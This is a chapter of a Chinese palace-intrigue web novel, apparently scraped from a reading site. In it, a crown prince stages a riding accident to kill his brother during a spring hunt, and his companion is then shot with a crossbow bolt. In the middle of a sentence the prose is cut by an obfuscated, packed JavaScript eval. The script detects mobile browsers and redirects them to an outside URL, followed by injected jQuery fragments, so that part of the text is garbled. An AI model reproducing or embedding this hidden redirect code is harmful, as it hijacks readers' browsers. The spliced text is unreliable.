默认冷灰
24号文字
方正启体

18. 灭口

作者:荼非白本书字数:K更新时间:
    接下来的日子,沈知微依言留在东宫静养。


    徐竖每日请脉,汤药和药膳流水般送入暖阁。萧翎钧处理完政务便会过来,有时静坐在一旁看书陪她;有时则会屏退左右,为她疏通经络,缓解咳疾带来的胸痛。


    他的动作总是恰到好处的温柔,指腹带着内力熨帖过穴位,带来舒缓的暖流。


    两人都默契地不再提起林姑娘,也不再提起那场未尽的争执。


    静姝变着法子给她解闷,说些宫里的趣闻。


    说三殿下萧望卿自回兰蕙苑后闭门不出,潜心养伤,太医院的人每日往返,据说伤势恢复得不错。


    说谢明煦回府后被他爹揪着考校功课,叫苦不迭,却仍时不时递帖子想来东宫探望她,都被萧翎钧以阿微静养不宜打扰为由挡了回去。


    时间过得并不难熬,萧翎钧从不禁她的足,只是她平日也很少出去,更不想麻烦别人。


    天气一日日转暖,积雪消融,枝头抽出新芽。沈知微的气色在精心调养下渐渐好转,虽比常人仍显清瘦苍白,但咳疾发作的次数明显减少,眉宇间的倦怠也褪去几分。


    这日午后,萧翎钧批完奏折过来,沈知微正临窗抄经,气韵沉静,侧脸在春光里多了几分血色。


    他驻足看了一会儿,方才走近。


    “阿微,眼下恰逢春狩,父皇有意前往西苑围场,一来演练骑射,二来也算是为国祈福,祷祝今年风调雨顺。”


    萧翎钧执起她写完的最后一页纸,看着上面清隽工稳的字迹,语气随意地道:“孤看你近日精神见好,阿微可想随孤同去?散散心也好。”


    沈知微放下笔,抬眼看他。春狩是皇室传统,萧翎钧每年都会参加,以往她多半随行。西苑围场开阔,草木初萌,确实比闷在宫墙内更利于调养。


    “殿下有命,臣自当随行。”她微微颔首。


    萧翎钧笑了笑,指尖拂过她腕间那道淡了些的咬痕:“此次狩猎,几位成年皇子、宗室子弟及功勋子弟皆会前往。谢明煦那小子怕是早憋坏了,定要缠着你。还有……”他顿了顿,语气如常,“三弟腿伤初愈,太医言适度活动于康复有益,他也会去。”


    沈知微眸光微动,点了点头。


    自淮安回京一路,萧望卿那古怪的躲避她仍记得,只是如今想来,竟有些模糊了。或许那晚驿站,他真的只是牵动旧伤,不适难忍而已。


    三日后,圣驾启程前往西苑围场。


    旌旗招展,仪仗煊赫。沈知微乘坐的马车跟在东宫仪仗之后,谢明煦果然一早就骑着马凑了过来,一身火红的骑装,衬得他面如冠玉,眉眼飞扬,隔着车窗同她说话。


    “小沈大人!你可算出来了,这些日子在东宫养着,怕是闷坏了吧?一会儿到了围场,看我给你猎只狐狸,做条新围脖。”


    沈知微靠着车壁,闻言笑了:“世子爷好意心领,臣骑射不精,怕是只能在场边为世子助威了。”


    “哎,那有什么!你看着就行!”谢明煦浑不在意地摆手,兴致高昂。


    西苑围场位于京城以西,山峦起伏,林深草茂。皇家仪仗抵达时,早已有先行官布置妥当,营帐连绵,旌旗猎猎。


    春狩首日,照例是圣上先行射猎,以彰天威。鼓号齐鸣后,众臣与宗室子弟方才纵马入林。


    沈知微披了件青灰色的斗篷,静立在观猎台的一侧。她不太想折腾自己稍微一动就嘎达作响的身子骨,于是今日未着骑装,一身素净常服与平日并无不同。


    偶有其他大臣相邀也是称病推辞,剑与弓如摆设挂在马鞍上。


    谢明煦一身火红骑装,跨坐在一匹白马上,正兴奋地朝她这个方向挥手,笑容灿烂得像要灼伤人的眼睛。


    沈知微有些无奈地对他点头回应,意思是她看到了。


    她的视线掠过他,落在稍远处。


    萧望卿端坐在一匹格外温顺的褐色牝马背上,穿着玄色骑装,脸色比先前好看许多。伤腿显然无法自如控马,缰绳被身旁一名魁梧的侍卫紧紧牵着。他微低着头,专注地调整着手上的护臂,没有对上她的视线。


    萧翎钧就在沈知微身旁不远处,一身银白骑装,金冠束发,身姿挺拔如松,正坐在马上与几位近臣谈笑。


    像是察觉到她的目光,他转过头朝她笑了笑,目光澄澈得一如多年前的小殿下。


    沈知微看到他用口型无声地说:“等我回来。”


    于是她也笑着回了个:“好。”


    鼓声雷动,号角长鸣。


    今上御驾亲射,一箭洞穿悬挂的彩球,引来山呼海啸般的万岁之声。


    皇帝已经老了,险些连弓都拉不开,那彩球近到几乎要垂到他的鼻尖上。


    仪式既成,狩猎正式开始。


    马蹄扬起草屑与尘土,一众勋贵子弟、皇室宗亲策马涌入密林,追逐着被驱赶出的猎物。


    谢明煦一马当先,那抹红色很快消失在林荫深处。萧望卿在那名侍卫的牵引下,也随着人流缓缓进入林区边缘,速度并不快。


    萧翎钧并未立刻动身。他检查了一下弓弦,才轻夹马腹,领着东宫侍卫,不疾不徐地向着林木更茂密的方向行去。


    经过沈知微面前时,他微微倾下身:“阿微身子刚好,又未戴防具,今日不要乱跑。”


    “……我明白。”


    这是要对其他皇子下手的意思,殿下如今已经很少让她插手这类事了,太费精力。


    狩猎的喧嚣渐次沉入林莽深处,观猎台周遭一时寂寥下来,只余下几名内侍与留守的文臣。春风掠过草尖,带来远处隐约的马蹄与呼喝声,忽远忽近。


    沈知微拢了拢斗篷,寻了个避风的角落坐下。阳光透过新发的嫩叶洒下,她其实有些倦怠,连日调养并未真正恢复元气,此刻暖阳一照,更觉昏沉。


    时间缓慢流淌,她的眼皮几乎要合上。


    密林深处突然传来一声扭曲的嘶鸣,那绝非寻常猎物的声响。


    沈知微倏然睁开眼。


    几乎同时,另一方向传来更为嘈杂混乱的人声,由远及近。


    “不好了!惊马了!三殿下的马惊了!”一名侍卫模样的人连滚带爬地从林缘冲出,满面惊骇,衣袍被树枝刮得破烂。


    “那马突然发了狂,挣脱了控制,驮着三殿下往断崖那边冲去了!”


    西苑围场乃皇家猎苑,地势平缓,何来断崖?纵有陡坡,也绝称不上崖。


    场面瞬间大乱。


    留守的官员们惊慌失措,纷纷起身张望。


    沈知微猛地站起,眼前因动作太快黑了一瞬,她扶住身旁的木柱稳住身形,反应过来。


    哦,她的殿下动手了。


    就在此刻。


    在这光天化日,众目睽睽之下。


    如同兜头浇了一盆冷水,一种近乎麻木的平静笼罩下来。她看着那侍卫声嘶力竭的模样,看着周围官员们真假难辨的慌乱。


    萧望卿……终究是走到了这一步。


    她该去的。总该去看一眼。看看那个在淮安眼神亮得惊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214940|180155||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人的少年,看看那个在驿站捧着姜汤手指颤抖的皇子,最终是何等模样。


    不是去救,只是去看。确认一个结局,了却一桩谈不上挂碍的挂碍。


    她沉默地走向系马的木桩,解下自己那匹温顺牝马的缰绳。


    “沈大人?您这是……”有文官试图阻拦。


    “去看看。”她的声音很平静。


    翻身上马的动作因久病而略显滞涩,缰绳一抖,马儿便小跑起来,朝着那侍卫所指西边老崖的方向去。


    无人真正阻拦。


    或许有人得了暗示,或许只是不敢拦东宫伴读的路。


    越往西行,林木愈发稀疏,地势却并非变得险峻,反而逐渐开阔。所谓的老崖,不过是一处略显陡峭的土坡,坡下是乱石和枯草。


    根本不足以致命。


    沈知微策马靠近,远远便看见坡下围着几名东宫侍卫,气氛凝滞,并无急切救援的忙乱。


    他们见她来了,默默让开一条通路。


    坡底乱石间,俯卧着一匹倒毙的马,颈项扭曲,口鼻溢血。旁边,萧望卿一动不动地躺在那里,骑装沾满了泥土和草屑,一条腿以不自然的姿势弯折着。


    他脸上没有血迹,面色灰白,双眼紧闭,仿佛只是昏厥过去。


    但沈知微知道,不是。


    她勒住马,停在数步之外。风吹起她鬓边的碎发,她闻到坡底的血味与泥土的腥气。


    “处理掉吧。”


    她来了,看到了。


    可以回去了。


    就在她准备调转马头的刹那,侧后方密林中,毫无征兆地响起一道极尖锐的破空声响!


    那不是射向坡底萧望卿的。


    那力道,角度,裹挟着的冰冷杀意。


    是直冲她后心而来。


    电光石火间,沈知微只来得及凭着本能,猛地向马鞍一侧伏低身子。


    “噗。”


    一声闷响。


    预想中锥心刺骨的剧痛并未从后心传来,取而代之的是一股巨大的的冲击力,狠狠撞在她左侧腰腹之间。


    那力道强悍无比,几乎将她直接从马背上掀飞出去。她眼前一黑,喉头瞬间涌上浓重的腥甜气,所有气息被猛地掐断。


    她重重跌落在冰冷的土地上,五脏六腑仿佛被一只无形的手狠狠攥住搅碎,剧烈的痛楚迟了一瞬才海啸般席卷而来,淹没了所有感官。


    腰腹处迅速变得湿黏温热,鲜血汩汩涌出,浸透了青灰色的衣袍。


    意识模糊中,她听见远处传来急促的马蹄声和萧翎钧从未有过的惊怒呼喊。


    “阿微!!”


    有脚步声杂乱地奔向她。


    有人小心翼翼地将她抱起,手臂颤抖。


    她费力地掀开眼皮,视线因剧痛而涣散,只看到萧翎钧那张失了血色的脸,和他身后密林深处那一闪而逝的金属反光。


    是弩箭。


    根本不是狩猎用的弓箭。


    她张了张嘴,想说什么,却只咳出一口滚烫的血沫。


    啊……原来如此。


    不是误伤。


    是灭口。


    殿下终究……还是容不下任何一点可能知晓他秘密,可能心软,可能……不再完全属于他的东西。


    包括她。


    意识昏沉间,胸中难免会涌上一种被背叛的愤怒。


    冰冷的黑暗彻底吞噬意识之前,她最后看到的,是萧翎钧猩红的眼底。


    是那从未示于人前的恐慌。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)